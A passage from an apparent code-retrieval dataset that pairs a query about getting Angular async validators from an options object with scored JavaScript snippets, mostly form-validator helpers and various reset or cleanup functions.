old_position_description = {\n position: break_point_position,\n line: break_point.line(),\n column: break_point.column()\n }\n break_point_old_positions.push(old_position_description);\n }\n\n\n // Restores breakpoints and creates their copies in the \"old\" copy of\n // the script.\n return function (pos_translator, old_script_copy_opt) {\n // Update breakpoints (change positions and restore them in old version\n // of script.\n for (var i = 0; i < script_break_points.length; i++) {\n var break_point = script_break_points[i];\n if (old_script_copy_opt) {\n var clone = break_point.cloneForOtherScript(old_script_copy_opt);\n clone.set(old_script_copy_opt);\n\n break_points_update_report.push( {\n type: \"copied_to_old\",\n id: break_point.number(),\n new_id: clone.number(),\n positions: break_point_old_positions[i]\n } );\n }\n\n var updated_position = pos_translator.Translate(\n break_point_old_positions[i].position,\n PosTranslator.ShiftWithTopInsideChunkHandler);\n\n var new_location =\n original_script.locationFromPosition(updated_position, false);\n\n break_point.update_positions(new_location.line, new_location.column);\n\n var new_position_description = {\n position: updated_position,\n line: new_location.line,\n column: new_location.column\n }\n\n break_point.set(original_script);\n\n break_points_update_report.push( { type: \"position_changed\",\n id: break_point.number(),\n old_positions: break_point_old_positions[i],\n new_positions: new_position_description\n } );\n }\n }\n }", "title": "" }, { "docid": "2dc5fbfb016dfd5445840cec16ea0848", "score": "0.49676195", "text": "set DontUnloadUnusedAsset(value) {}", "title": "" }, { "docid": "229cad48d400d6b3aad7db2a15298544", "score": "0.49635693", "text": "function cleanup(code){\n return (code.startsWith(\"```\") && code.endsWith(\"```\") ? code.split('\\n').slice(1, -1).join(\"\\n\") : code.replace(/`/g,\"\").trim())\n}", "title": "" }, { "docid": "18c80f11c0994c43237d2a184cc096cc", "score": "0.49540353", "text": "undefine() {\n if (Blockly.Blocks[this.name]) {\n delete Blockly.Blocks[this.name];\n }\n }", "title": "" }, { "docid": "20125a709e1b08f1869c0d8aaa8518c0", "score": "0.49512237", "text": "function reset()\r\n{\r\n\tp_trace_uc_helper.traceMsg(\"reset()\");\r\n}", "title": "" }, { "docid": "cc749ce60dbf2b2b45c301f4928b0de2", "score": "0.49471936", "text": "_cleanUpInternal() {\n // override in the extending class\n }", "title": "" }, { "docid": "2a25f31d966afe17d2793ccee1126a02", "score": "0.49457332", "text": "reset(){\n this.classloader = new VM_ClassLoader(this);\n this.heap = new VM_HeapArea(this, this.classloader);\n this.stack = new VM_StackMemory();\n this.pcmaker = new PseudoCodeMaker(true);\n this.metharea = new VM_MethodArea();\n this.allocator = new VM_Allocator( this, -1);\n this.logs.reset();\n\n this.savedContexts = {};\n this.visited = [];\n this.currentContext = \"root\";\n }", "title": "" }, { "docid": "2310a141a16f31bb233f6e493086c7bb", "score": "0.4944051", "text": "function restoreMiddleware(app, mock) {\n // app.stack is the ordered set of connect/express middleware\n app.stack.forEach(function(item) {\n if(item.handle.name == mock.name) {\n item.handle = originalMiddleware[mock.name];\n item.handle.name = \"mock\" + middleware;\n }\n });\n}", "title": "" }, { "docid": "885b7df75aec8ed96cbadd68ea305456", "score": "0.49394962", "text": "function reset() {\n\t\t// TODO\n\t}", "title": "" }, { "docid": "ebc379f65adaf4a2b576c10858f454e7", "score": "0.49338898", "text": "disable() {}", "title": "" }, { "docid": "82a380323a5c2736f908816418d55c3a", "score": "0.49277148", "text": "function unsetEnhance() {\n vm.state.enhanceMeasure = vm.state.scopeMeasure;\n }", "title": "" }, { "docid": "810cc45c15dc41fd11bfd2f3e29c971e", "score": "0.4927547", "text": "function reset() /*:void */ {}", "title": "" }, { "docid": "810cc45c15dc41fd11bfd2f3e29c971e", "score": "0.4927547", "text": "function reset() /*:void */ {}", "title": "" }, { "docid": "810cc45c15dc41fd11bfd2f3e29c971e", "score": "0.4927547", "text": "function reset() /*:void */ {}", "title": "" }, { "docid": "f2741ad17c6ce35f828c42888a9236de", "score": "0.49226576", "text": "reset() {\n throw 'NotImplemented';\n }", "title": "" }, { "docid": "aa5e2d76031033618818bc7adb5fafd4", "score": "0.49216792", "text": "static stop() {\n this.run = false\n }", "title": "" }, { "docid": "6773a15ceca934f785cc97e4826b9667", "score": "0.49195966", "text": "reset() {\n // DO NOTHING.\n }", "title": "" }, { "docid": "a06ee00c5e634af9b119b58884f8156b", "score": "0.49184766", "text": "function cleanup () {}", "title": "" }, { "docid": "8ad0aaf5e9f645d0fa80b342a988c244", "score": "0.49127254", "text": "cleanupRunShot () {\n if (!this.hasActiveRunner) return\n this.runner = null\n\n if (Array.isArray(this.commands) && this.commands.length === 0) {\n this.onCompletion()\n }\n\n // TODO: Do we undo again (autoplay situation???)\n if (this.mode === FORWARD_MODE) {\n this.undoCommands.endPlayingShot()\n }\n\n if (this.systems.autoplay.autoplay && this.mode === UNDO_MODE) {\n this.systems.autoplay.autoplay = false\n return this.undoShot()\n }\n\n if (this.systems.autoplay.autoplay) {\n this.systems.autoplay.autoplay = false\n return this.runShot(true)\n }\n\n this.undoCommands.tryMarkFirstStoppingPoint()\n\n if (this.wasCancelled) {\n this.wasCancelled = false\n return this.runShot(false)\n }\n\n this.onPause()\n }", "title": "" } ]
d8cfbaf650300a78678c165323a5c723
Gets async validators from either an options object or given validators.
[ { "docid": "239d92d7d9ab56234e0f21d6ece391bc", "score": "0.74261826", "text": "function pickAsyncValidators(asyncValidator, validatorOrOpts) {\n return (isOptionsObj(validatorOrOpts) ? validatorOrOpts.asyncValidators : asyncValidator) || null;\n}", "title": "" } ]
[ { "docid": "b8137c4576b2561e04a09e99358fc5c7", "score": "0.7448391", "text": "function pickAsyncValidators(asyncValidator, validatorOrOpts) {\n return (isOptionsObj(validatorOrOpts) ? validatorOrOpts.asyncValidators : asyncValidator) || null;\n }", "title": "" }, { "docid": "e281ca92887ed131ad3aae5473eb5186", "score": "0.644398", "text": "function pickValidators(validatorOrOpts) {\n return (isOptionsObj(validatorOrOpts) ? validatorOrOpts.validators : validatorOrOpts) || null;\n }", "title": "" }, { "docid": "87657a05489aa4759cab563b1230088f", "score": "0.63467914", "text": "function coerceToAsyncValidator(asyncValidator) {\n return Array.isArray(asyncValidator) ? composeAsyncValidators(asyncValidator) : asyncValidator || null;\n }", "title": "" }, { "docid": "8505115b6c00e42babd65ecdb2537ff3", "score": "0.63296723", "text": "function pickValidators(validatorOrOpts) {\n return (isOptionsObj(validatorOrOpts) ? validatorOrOpts.validators : validatorOrOpts) || null;\n}", "title": "" }, { "docid": "8505115b6c00e42babd65ecdb2537ff3", "score": "0.63296723", "text": "function pickValidators(validatorOrOpts) {\n return (isOptionsObj(validatorOrOpts) ? validatorOrOpts.validators : validatorOrOpts) || null;\n}", "title": "" }, { "docid": "8505115b6c00e42babd65ecdb2537ff3", "score": "0.63296723", "text": "function pickValidators(validatorOrOpts) {\n return (isOptionsObj(validatorOrOpts) ? validatorOrOpts.validators : validatorOrOpts) || null;\n}", "title": "" }, { "docid": "8505115b6c00e42babd65ecdb2537ff3", "score": "0.63296723", "text": "function pickValidators(validatorOrOpts) {\n return (isOptionsObj(validatorOrOpts) ? validatorOrOpts.validators : validatorOrOpts) || null;\n}", "title": "" }, { "docid": "8505115b6c00e42babd65ecdb2537ff3", "score": "0.63296723", "text": "function pickValidators(validatorOrOpts) {\n return (isOptionsObj(validatorOrOpts) ? validatorOrOpts.validators : validatorOrOpts) || null;\n}", "title": "" }, { "docid": "8505115b6c00e42babd65ecdb2537ff3", "score": "0.63296723", "text": "function pickValidators(validatorOrOpts) {\n return (isOptionsObj(validatorOrOpts) ? validatorOrOpts.validators : validatorOrOpts) || null;\n}", "title": "" }, { "docid": "91665fa998e8cfaaa9000857e8726073", "score": "0.6304178", "text": "function coerceToAsyncValidator(asyncValidator) {\n return Array.isArray(asyncValidator) ? composeAsyncValidators(asyncValidator) :\n asyncValidator || null;\n}", "title": "" }, { "docid": "91665fa998e8cfaaa9000857e8726073", "score": "0.6304178", "text": "function coerceToAsyncValidator(asyncValidator) {\n return Array.isArray(asyncValidator) ? composeAsyncValidators(asyncValidator) :\n asyncValidator || null;\n}", "title": "" }, { "docid": "91665fa998e8cfaaa9000857e8726073", "score": "0.6304178", "text": "function coerceToAsyncValidator(asyncValidator) {\n return Array.isArray(asyncValidator) ? composeAsyncValidators(asyncValidator) :\n asyncValidator || null;\n}", "title": "" }, { "docid": "91665fa998e8cfaaa9000857e8726073", "score": "0.6304178", "text": "function coerceToAsyncValidator(asyncValidator) {\n return Array.isArray(asyncValidator) ? composeAsyncValidators(asyncValidator) :\n asyncValidator || null;\n}", "title": "" }, { "docid": "91665fa998e8cfaaa9000857e8726073", "score": "0.6304178", "text": "function coerceToAsyncValidator(asyncValidator) {\n return Array.isArray(asyncValidator) ? composeAsyncValidators(asyncValidator) :\n asyncValidator || null;\n}", "title": "" }, { "docid": "91665fa998e8cfaaa9000857e8726073", "score": "0.6304178", "text": "function coerceToAsyncValidator(asyncValidator) {\n return Array.isArray(asyncValidator) ? composeAsyncValidators(asyncValidator) :\n asyncValidator || null;\n}", "title": "" }, { "docid": "ce4308bd2bfe77d162c617b9b03ffefb", "score": "0.6158896", "text": "get asyncValidator() {\n return this._composedAsyncValidatorFn;\n }", "title": "" }, { "docid": "ce4308bd2bfe77d162c617b9b03ffefb", "score": "0.6158896", "text": "get asyncValidator() {\n return this._composedAsyncValidatorFn;\n }", "title": "" }, { "docid": "ce4308bd2bfe77d162c617b9b03ffefb", "score": "0.6158896", "text": "get asyncValidator() {\n return this._composedAsyncValidatorFn;\n }", "title": "" }, { "docid": "ce4308bd2bfe77d162c617b9b03ffefb", "score": "0.6158896", "text": "get asyncValidator() {\n return this._composedAsyncValidatorFn;\n }", "title": "" }, { "docid": "ce4308bd2bfe77d162c617b9b03ffefb", "score": "0.6158896", "text": "get asyncValidator() {\n return this._composedAsyncValidatorFn;\n }", "title": "" }, { "docid": "ce4308bd2bfe77d162c617b9b03ffefb", "score": "0.6158896", "text": "get asyncValidator() {\n return this._composedAsyncValidatorFn;\n }", "title": "" }, { "docid": "5bf0f5f630403540d100986e869275c9", "score": "0.6088763", "text": "function composeAsyncValidators(validators) {\n return validators != null ? composeAsync(normalizeValidators(validators)) :\n null;\n}", "title": "" }, { "docid": "5bf0f5f630403540d100986e869275c9", "score": "0.6088763", "text": "function composeAsyncValidators(validators) {\n return validators != null ? composeAsync(normalizeValidators(validators)) :\n null;\n}", "title": "" }, { "docid": "5bf0f5f630403540d100986e869275c9", "score": "0.6088763", "text": "function composeAsyncValidators(validators) {\n return validators != null ? composeAsync(normalizeValidators(validators)) :\n null;\n}", "title": "" }, { "docid": "778cb5cd7ab0e05f2c324e98fb77139a", "score": "0.5982088", "text": "validate(options = {}) {\n let callbacks = (_.isUndefined(options.callbacks) || options.callbacks) ? true : false;\n\n return new P((resolve, reject) => {\n return async.waterfall([\n (cb) => {\n if (!callbacks) {\n return cb(null, true);\n }\n\n return this\n .beforeValidate()\n .then((proceed) => {\n return cb(null, proceed);\n })\n .catch((error) => {\n return cb(error);\n });\n },\n (proceed, cb) => {\n return this //eslint-disable-line\n ._validate()\n .then((res) => {\n if (res === true) {\n return cb(null, true);\n }\n\n return cb(res);\n })\n .catch((error) => {\n return cb(error);\n });\n },\n (res, cb) => {\n if (!callbacks) {\n return cb(null, res);\n }\n\n return this\n .afterValidate()\n .then(() => {\n return cb(null, res);\n })\n .catch((error) => {\n return cb(error);\n });\n }\n ], (err, result) => {\n if (err) {\n if (_.isObject(err)) {\n return resolve(err);\n }\n\n return reject(err);\n }\n\n return resolve(result);\n });\n });\n }", "title": "" }, { "docid": "16cec646dadbc75b1dfc520926c2615c", "score": "0.5901825", "text": "async _getValidatorCalls () {\n let validatorCalls = []\n for (let validator of this.validators) {\n validatorCalls.push(validator.bind(this).call(this, this.getValue()))\n }\n return validatorCalls\n }", "title": "" }, { "docid": "0543cf0df18b90da96f1a844a1c4db0e", "score": "0.5875921", "text": "_setAsyncValidators(validators) {\n this._rawAsyncValidators = validators || [];\n this._composedAsyncValidatorFn = composeAsyncValidators(this._rawAsyncValidators);\n }", "title": "" }, { "docid": "0543cf0df18b90da96f1a844a1c4db0e", "score": "0.5875921", "text": "_setAsyncValidators(validators) {\n this._rawAsyncValidators = validators || [];\n this._composedAsyncValidatorFn = composeAsyncValidators(this._rawAsyncValidators);\n }", "title": "" }, { "docid": "0543cf0df18b90da96f1a844a1c4db0e", "score": "0.5875921", "text": "_setAsyncValidators(validators) {\n this._rawAsyncValidators = validators || [];\n this._composedAsyncValidatorFn = composeAsyncValidators(this._rawAsyncValidators);\n }", "title": "" }, { "docid": "0543cf0df18b90da96f1a844a1c4db0e", "score": "0.5875921", "text": "_setAsyncValidators(validators) {\n this._rawAsyncValidators = validators || [];\n this._composedAsyncValidatorFn = composeAsyncValidators(this._rawAsyncValidators);\n }", "title": "" }, { "docid": "0543cf0df18b90da96f1a844a1c4db0e", "score": "0.5875921", "text": "_setAsyncValidators(validators) {\n this._rawAsyncValidators = validators || [];\n this._composedAsyncValidatorFn = composeAsyncValidators(this._rawAsyncValidators);\n }", "title": "" }, { "docid": "aae0c174f5efe238df292ea7b74fa03f", "score": "0.58694506", "text": "function composeAsyncValidators(validators) {\n return validators != null ?\n Validators.composeAsync(normalizeValidators(validators)) :\n null;\n}", "title": "" }, { "docid": "aae0c174f5efe238df292ea7b74fa03f", "score": "0.58694506", "text": "function composeAsyncValidators(validators) {\n return validators != null ?\n Validators.composeAsync(normalizeValidators(validators)) :\n null;\n}", "title": "" }, { "docid": "7d29be11cc857ce9ed0cefe11d19f23f", "score": "0.58159685", "text": "function composeAsync(validators) {\n if (!validators)\n return null;\n const presentValidators = validators.filter(isPresent);\n if (presentValidators.length == 0)\n return null;\n return function (control) {\n const observables = executeValidators(control, presentValidators).map(toObservable);\n return Object(rxjs__WEBPACK_IMPORTED_MODULE_2__[\"forkJoin\"])(observables).pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_3__[\"map\"])(mergeErrors));\n };\n}", "title": "" }, { "docid": "7d29be11cc857ce9ed0cefe11d19f23f", "score": "0.58159685", "text": "function composeAsync(validators) {\n if (!validators)\n return null;\n const presentValidators = validators.filter(isPresent);\n if (presentValidators.length == 0)\n return null;\n return function (control) {\n const observables = executeValidators(control, presentValidators).map(toObservable);\n return Object(rxjs__WEBPACK_IMPORTED_MODULE_2__[\"forkJoin\"])(observables).pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_3__[\"map\"])(mergeErrors));\n };\n}", "title": "" }, { "docid": "f703a2241702d34a306da52ba72bcd1c", "score": "0.57430977", "text": "function composeAsync(validators) {\n if (!validators)\n return null;\n const presentValidators = validators.filter(isPresent);\n if (presentValidators.length == 0)\n return null;\n return function (control) {\n const observables = executeValidators(control, presentValidators).map(toObservable);\n return (0,rxjs__WEBPACK_IMPORTED_MODULE_3__.forkJoin)(observables).pipe((0,rxjs_operators__WEBPACK_IMPORTED_MODULE_4__.map)(mergeErrors));\n };\n}", "title": "" }, { "docid": "1862160f32a6ec1b8fb614f39407fc1a", "score": "0.57277316", "text": "function getControlAsyncValidators(control) {\n return control._rawAsyncValidators;\n}", "title": "" }, { "docid": "1862160f32a6ec1b8fb614f39407fc1a", "score": "0.57277316", "text": "function getControlAsyncValidators(control) {\n return control._rawAsyncValidators;\n}", "title": "" }, { "docid": "1862160f32a6ec1b8fb614f39407fc1a", "score": "0.57277316", "text": "function getControlAsyncValidators(control) {\n return control._rawAsyncValidators;\n}", "title": "" }, { "docid": "1862160f32a6ec1b8fb614f39407fc1a", "score": "0.57277316", "text": "function getControlAsyncValidators(control) {\n return control._rawAsyncValidators;\n}", "title": "" }, { "docid": "1862160f32a6ec1b8fb614f39407fc1a", "score": "0.57277316", "text": "function getControlAsyncValidators(control) {\n return control._rawAsyncValidators;\n}", "title": "" }, { "docid": "9561a50ea9a894efdb00c83a07221e9c", "score": "0.5647024", "text": "static getValidators() {\n return new Query({\n method: \"getvalidators\",\n });\n }", "title": "" }, { "docid": "d74e8272264497f3122147c16781a012", "score": "0.5644803", "text": "setAsyncValidators(validators) {\n this._rawAsyncValidators = validators;\n this._composedAsyncValidatorFn = coerceToAsyncValidator(validators);\n }", "title": "" }, { "docid": "9267ec78493d03f53a13768ffb7838b8", "score": "0.5636937", "text": "validateField(field, value = null) {\n if (!value) {\n value = this.get(field);\n }\n\n let fieldSchema = this.schema[field];\n if (!_.isObject(fieldSchema) || !fieldSchema.validate) {\n return new P.resolve(true); //eslint-disable-line\n }\n\n let validate = fieldSchema.validate;\n if (!_.isArray(validate)) {\n validate = [validate];\n }\n\n return new P((resolve) => {\n async.eachSeries(validate, (ruleObj, cb) => {\n let rule = ruleObj.rule;\n let ruleName;\n let ruleOptions = [];\n let message = ruleObj.message;\n\n let validatorFunc;\n let validatorOptions;\n\n if (_.isString(rule)) {\n ruleName = rule;\n } else if (_.isArray(rule)) {\n ruleName = _.first(rule);\n ruleOptions = _.rest(rule);\n }\n\n if (_.isFunction(rule)) {\n // rule is a direct function\n validatorFunc = rule;\n validatorOptions = [field, value];\n } else if (ruleName && _.isFunction(this.validationRules[ruleName])) {\n // rule is an pre-defined function\n validatorFunc = this.validationRules[ruleName];\n validatorOptions = [field, value];\n } else if (_.isFunction(validator[ruleName])) {\n // validator.js\n validatorFunc = validator[ruleName];\n validatorOptions = [value].concat(ruleOptions);\n } else {\n // no rule found\n return cb(message);\n }\n\n let params = getParams(validatorFunc);\n if (_.last(params) === 'done') {\n // async\n validatorOptions.push(function (passed) {\n if (!passed) {\n return cb(message);\n }\n\n cb();\n });\n } else {\n // sync\n let passed = validatorFunc.apply(\n this,\n validatorOptions\n );\n\n if (!passed) {\n return cb(message);\n }\n\n cb();\n }\n }, (err) => {\n if (err) {\n return resolve(err);\n }\n\n return resolve(true);\n });\n });\n }", "title": "" }, { "docid": "8679af5a2f2478778825f57b170b7ebe", "score": "0.5600678", "text": "function asyncValidate(validator, scope, value, props, cb) {\n var called = false;\n var returnVal = validator.call(scope, value, function(ok, customMsg) {\n if (called) {\n return;\n }\n called = true;\n if (typeof returnVal === 'boolean') {\n return;\n }\n if (customMsg) {\n props.message = customMsg;\n }\n cb(ok, props);\n });\n if (typeof returnVal === 'boolean') {\n called = true;\n cb(returnVal, props);\n } else if (returnVal && typeof returnVal.then === 'function') {\n // Promise\n returnVal.then(\n function(ok) {\n if (called) {\n return;\n }\n called = true;\n cb(ok, props);\n },\n function(error) {\n if (called) {\n return;\n }\n called = true;\n\n props.reason = error;\n cb(false, props);\n });\n }\n}", "title": "" }, { "docid": "b51f5de437b1d16c22a6d076b2150232", "score": "0.54231745", "text": "onValidateOptions (options, callback) {\n return callback(null)\n }", "title": "" }, { "docid": "b51f5de437b1d16c22a6d076b2150232", "score": "0.54231745", "text": "onValidateOptions (options, callback) {\n return callback(null)\n }", "title": "" }, { "docid": "fe871dd57219a6a88a69568bb727792e", "score": "0.5395588", "text": "constructor(controls, validatorOrOpts, asyncValidator) {\n super(pickValidators(validatorOrOpts), pickAsyncValidators(asyncValidator, validatorOrOpts));\n this.controls = controls;\n this._initObservables();\n this._setUpdateStrategy(validatorOrOpts);\n this._setUpControls();\n this.updateValueAndValidity({ onlySelf: true, emitEvent: false });\n }", "title": "" }, { "docid": "fe871dd57219a6a88a69568bb727792e", "score": "0.5395588", "text": "constructor(controls, validatorOrOpts, asyncValidator) {\n super(pickValidators(validatorOrOpts), pickAsyncValidators(asyncValidator, validatorOrOpts));\n this.controls = controls;\n this._initObservables();\n this._setUpdateStrategy(validatorOrOpts);\n this._setUpControls();\n this.updateValueAndValidity({ onlySelf: true, emitEvent: false });\n }", "title": "" }, { "docid": "fe30ec120eebf0964db1870761426aaa", "score": "0.5391518", "text": "function pipe(validators) {\n return function(value, ctx) {\n return validators.reduce(function(acc, v) {\n if (!acc) {\n return v(value, ctx);\n }\n\n return acc.then(function(result) {\n if (result.isValid) {\n return v(value, ctx);\n }\n\n return result;\n });\n }, null);\n }\n}", "title": "" }, { "docid": "d06429bcf0033b4bc219363099aa65a0", "score": "0.53746766", "text": "function checker(/* validators */) {\n var validators = _.toArray(arguments);\n\n return function(obj) {\n return _.reduce(validators, function(errs, check) {\n if (check(obj))\n return errs\n else\n return _.chain(errs).push(check.message).value();\n }, []);\n };\n}", "title": "" }, { "docid": "4eb89b0d690182bbc292001fa66e3874", "score": "0.5339161", "text": "function applyAsyncValidators(data, properties, cb) {\n function validate(propertyData, properties, depth, cb) {\n if (_.isFunction(depth)) {\n cb = depth;\n depth = [];\n }\n\n async.each(_.keys(properties), function(key, done) {\n var schemaValue = properties[key];\n var propertyDepth = _.clone(depth);\n propertyDepth.push(key);\n var propertyMessage = 'Data failed validation';\n\n // Run validators on nested schema\n var isNested = (_.last(depth) === 'properties' || key === 'properties')\n if (isNested && !_.isFunction(schemaValue) && _.isObject(schemaValue)) {\n var nestedData = (_.isObject(propertyData) && propertyData[key])? propertyData[key] : undefined;\n return validate(nestedData, schemaValue, propertyDepth, done);\n }\n\n // If value is not a function or it's a known non validator. Then skip it\n if (!_.isFunction(schemaValue) || _.indexOf(['default'], key) !== -1) return done();\n\n // Use a different error message if one is defined\n if (properties['messages'] && properties['messages'][key]) {\n propertyMessage = properties['messages'][key];\n }\n\n schemaValue(propertyData, data, function(err, result) {\n if (err) return done(err);\n\n if (!result) {\n var propertyPath = _.initial(_.without(propertyDepth, 'properties')).join('.')\n return done(makeValidationError(key, propertyPath, propertyMessage));\n }\n\n done();\n })\n }, cb);\n }\n\n validate(data, properties, ['properties'], function(err) {\n if (err) {\n return cb(null, { valid: false, errors: [err] }, data);\n }\n\n return cb(null, { valid: true }, data);\n });\n}", "title": "" }, { "docid": "0dbe4fd69c7c50e6380ba2b28c7bf46c", "score": "0.5320445", "text": "constructor(controls, validatorOrOpts, asyncValidator) {\n super(pickValidators(validatorOrOpts), pickAsyncValidators(asyncValidator, validatorOrOpts));\n this.controls = controls;\n this._initObservables();\n this._setUpdateStrategy(validatorOrOpts);\n this._setUpControls();\n this.updateValueAndValidity({\n onlySelf: true,\n // If `asyncValidator` is present, it will trigger control status change from `PENDING` to\n // `VALID` or `INVALID`. The status should be broadcasted via the `statusChanges` observable,\n // so we set `emitEvent` to `true` to allow that during the control creation process.\n emitEvent: !!this.asyncValidator\n });\n }", "title": "" }, { "docid": "fcb89a4eded3b8a7991bdf75204cbb3e", "score": "0.5309549", "text": "constructor(controls, validatorOrOpts, asyncValidator) {\n super(pickValidators(validatorOrOpts), pickAsyncValidators(asyncValidator, validatorOrOpts));\n this.controls = controls;\n this._initObservables();\n this._setUpdateStrategy(validatorOrOpts);\n this._setUpControls();\n this.updateValueAndValidity({\n onlySelf: true,\n // If `asyncValidator` is present, it will trigger control status change from `PENDING` to\n // `VALID` or `INVALID`.\n // The status should be broadcasted via the `statusChanges` observable, so we set `emitEvent`\n // to `true` to allow that during the control creation process.\n emitEvent: !!this.asyncValidator\n });\n }", "title": "" }, { "docid": "37cb5445f1334aeb94d8670f1eb3528c", "score": "0.53075874", "text": "constructor(controls, validatorOrOpts, asyncValidator) {\n super(pickValidators(validatorOrOpts), pickAsyncValidators(asyncValidator, validatorOrOpts));\n this.controls = controls;\n this._initObservables();\n this._setUpdateStrategy(validatorOrOpts);\n this._setUpControls();\n this.updateValueAndValidity({\n onlySelf: true,\n // If `asyncValidator` is present, it will trigger control status change from `PENDING` to\n // `VALID` or `INVALID`. The status should be broadcasted via the `statusChanges` observable,\n // so we set `emitEvent` to `true` to allow that during the control creation process.\n emitEvent: !!asyncValidator\n });\n }", "title": "" }, { "docid": "37cb5445f1334aeb94d8670f1eb3528c", "score": "0.53075874", "text": "constructor(controls, validatorOrOpts, asyncValidator) {\n super(pickValidators(validatorOrOpts), pickAsyncValidators(asyncValidator, validatorOrOpts));\n this.controls = controls;\n this._initObservables();\n this._setUpdateStrategy(validatorOrOpts);\n this._setUpControls();\n this.updateValueAndValidity({\n onlySelf: true,\n // If `asyncValidator` is present, it will trigger control status change from `PENDING` to\n // `VALID` or `INVALID`. The status should be broadcasted via the `statusChanges` observable,\n // so we set `emitEvent` to `true` to allow that during the control creation process.\n emitEvent: !!asyncValidator\n });\n }", "title": "" }, { "docid": "37cb5445f1334aeb94d8670f1eb3528c", "score": "0.53075874", "text": "constructor(controls, validatorOrOpts, asyncValidator) {\n super(pickValidators(validatorOrOpts), pickAsyncValidators(asyncValidator, validatorOrOpts));\n this.controls = controls;\n this._initObservables();\n this._setUpdateStrategy(validatorOrOpts);\n this._setUpControls();\n this.updateValueAndValidity({\n onlySelf: true,\n // If `asyncValidator` is present, it will trigger control status change from `PENDING` to\n // `VALID` or `INVALID`. The status should be broadcasted via the `statusChanges` observable,\n // so we set `emitEvent` to `true` to allow that during the control creation process.\n emitEvent: !!asyncValidator\n });\n }", "title": "" }, { "docid": "37cb5445f1334aeb94d8670f1eb3528c", "score": "0.53075874", "text": "constructor(controls, validatorOrOpts, asyncValidator) {\n super(pickValidators(validatorOrOpts), pickAsyncValidators(asyncValidator, validatorOrOpts));\n this.controls = controls;\n this._initObservables();\n this._setUpdateStrategy(validatorOrOpts);\n this._setUpControls();\n this.updateValueAndValidity({\n onlySelf: true,\n // If `asyncValidator` is present, it will trigger control status change from `PENDING` to\n // `VALID` or `INVALID`. The status should be broadcasted via the `statusChanges` observable,\n // so we set `emitEvent` to `true` to allow that during the control creation process.\n emitEvent: !!asyncValidator\n });\n }", "title": "" }, { "docid": "987f7df43031d45ff7303e24fc251a90", "score": "0.52971804", "text": "constructor(controls, validatorOrOpts, asyncValidator) {\n super(pickValidators(validatorOrOpts), pickAsyncValidators(asyncValidator, validatorOrOpts));\n this.controls = controls;\n this._initObservables();\n this._setUpdateStrategy(validatorOrOpts);\n this._setUpControls();\n this.updateValueAndValidity({\n onlySelf: true,\n // If `asyncValidator` is present, it will trigger control status change from `PENDING` to\n // `VALID` or `INVALID`.\n // The status should be broadcasted via the `statusChanges` observable, so we set `emitEvent`\n // to `true` to allow that during the control creation process.\n emitEvent: !!asyncValidator\n });\n }", "title": "" }, { "docid": "987f7df43031d45ff7303e24fc251a90", "score": "0.52971804", "text": "constructor(controls, validatorOrOpts, asyncValidator) {\n super(pickValidators(validatorOrOpts), pickAsyncValidators(asyncValidator, validatorOrOpts));\n this.controls = controls;\n this._initObservables();\n this._setUpdateStrategy(validatorOrOpts);\n this._setUpControls();\n this.updateValueAndValidity({\n onlySelf: true,\n // If `asyncValidator` is present, it will trigger control status change from `PENDING` to\n // `VALID` or `INVALID`.\n // The status should be broadcasted via the `statusChanges` observable, so we set `emitEvent`\n // to `true` to allow that during the control creation process.\n emitEvent: !!asyncValidator\n });\n }", "title": "" }, { "docid": "987f7df43031d45ff7303e24fc251a90", "score": "0.52971804", "text": "constructor(controls, validatorOrOpts, asyncValidator) {\n super(pickValidators(validatorOrOpts), pickAsyncValidators(asyncValidator, validatorOrOpts));\n this.controls = controls;\n this._initObservables();\n this._setUpdateStrategy(validatorOrOpts);\n this._setUpControls();\n this.updateValueAndValidity({\n onlySelf: true,\n // If `asyncValidator` is present, it will trigger control status change from `PENDING` to\n // `VALID` or `INVALID`.\n // The status should be broadcasted via the `statusChanges` observable, so we set `emitEvent`\n // to `true` to allow that during the control creation process.\n emitEvent: !!asyncValidator\n });\n }", "title": "" }, { "docid": "987f7df43031d45ff7303e24fc251a90", "score": "0.52971804", "text": "constructor(controls, validatorOrOpts, asyncValidator) {\n super(pickValidators(validatorOrOpts), pickAsyncValidators(asyncValidator, validatorOrOpts));\n this.controls = controls;\n this._initObservables();\n this._setUpdateStrategy(validatorOrOpts);\n this._setUpControls();\n this.updateValueAndValidity({\n onlySelf: true,\n // If `asyncValidator` is present, it will trigger control status change from `PENDING` to\n // `VALID` or `INVALID`.\n // The status should be broadcasted via the `statusChanges` observable, so we set `emitEvent`\n // to `true` to allow that during the control creation process.\n emitEvent: !!asyncValidator\n });\n }", "title": "" }, { "docid": "c458638323aa5107d8c1615d76084bb0", "score": "0.52748543", "text": "function asyncValidate(validator, scope, value, props, cb) {\n var returnVal = validator.call(scope, value, function(ok, customMsg) {\n if (typeof returnVal === 'boolean') {\n return;\n }\n if (customMsg) {\n props.message = customMsg;\n }\n cb(ok, props);\n });\n if (typeof returnVal === 'boolean') {\n cb(returnVal, props);\n }\n}", "title": "" }, { "docid": "b5f98f474c1d13a8d4aa97c522de0f00", "score": "0.52464205", "text": "get validators() {\n return this[_validators];\n }", "title": "" }, { "docid": "2a6ee635db7a2e1728e76acc4695d269", "score": "0.5160693", "text": "validate(options) {\n return validate(options);\n }", "title": "" }, { "docid": "53ca16d667d7a5a09c380bc4bab2f5a6", "score": "0.5132716", "text": "constructor(validators, asyncValidators) {\n /**\n * Indicates that a control has its own pending asynchronous validation in progress.\n *\n * @internal\n */\n this._hasOwnPendingAsyncValidator = false;\n /** @internal */\n this._onCollectionChange = () => { };\n /**\n * A control is `pristine` if the user has not yet changed\n * the value in the UI.\n *\n * @returns True if the user has not yet changed the value in the UI; compare `dirty`.\n * Programmatic changes to a control's value do not mark it dirty.\n */\n this.pristine = true;\n /**\n * True if the control is marked as `touched`.\n *\n * A control is marked `touched` once the user has triggered\n * a `blur` event on it.\n */\n this.touched = false;\n /** @internal */\n this._onDisabledChange = [];\n this._rawValidators = validators;\n this._rawAsyncValidators = asyncValidators;\n this._composedValidatorFn = coerceToValidator(this._rawValidators);\n this._composedAsyncValidatorFn = coerceToAsyncValidator(this._rawAsyncValidators);\n }", "title": "" }, { "docid": "f34165f5bcc5213a859fb184fc6aa0f8", "score": "0.5109794", "text": "setAsyncValidators(newValidator) {\n this._rawAsyncValidators = newValidator;\n this._composedAsyncValidatorFn = coerceToAsyncValidator(newValidator);\n }", "title": "" }, { "docid": "f34165f5bcc5213a859fb184fc6aa0f8", "score": "0.5109794", "text": "setAsyncValidators(newValidator) {\n this._rawAsyncValidators = 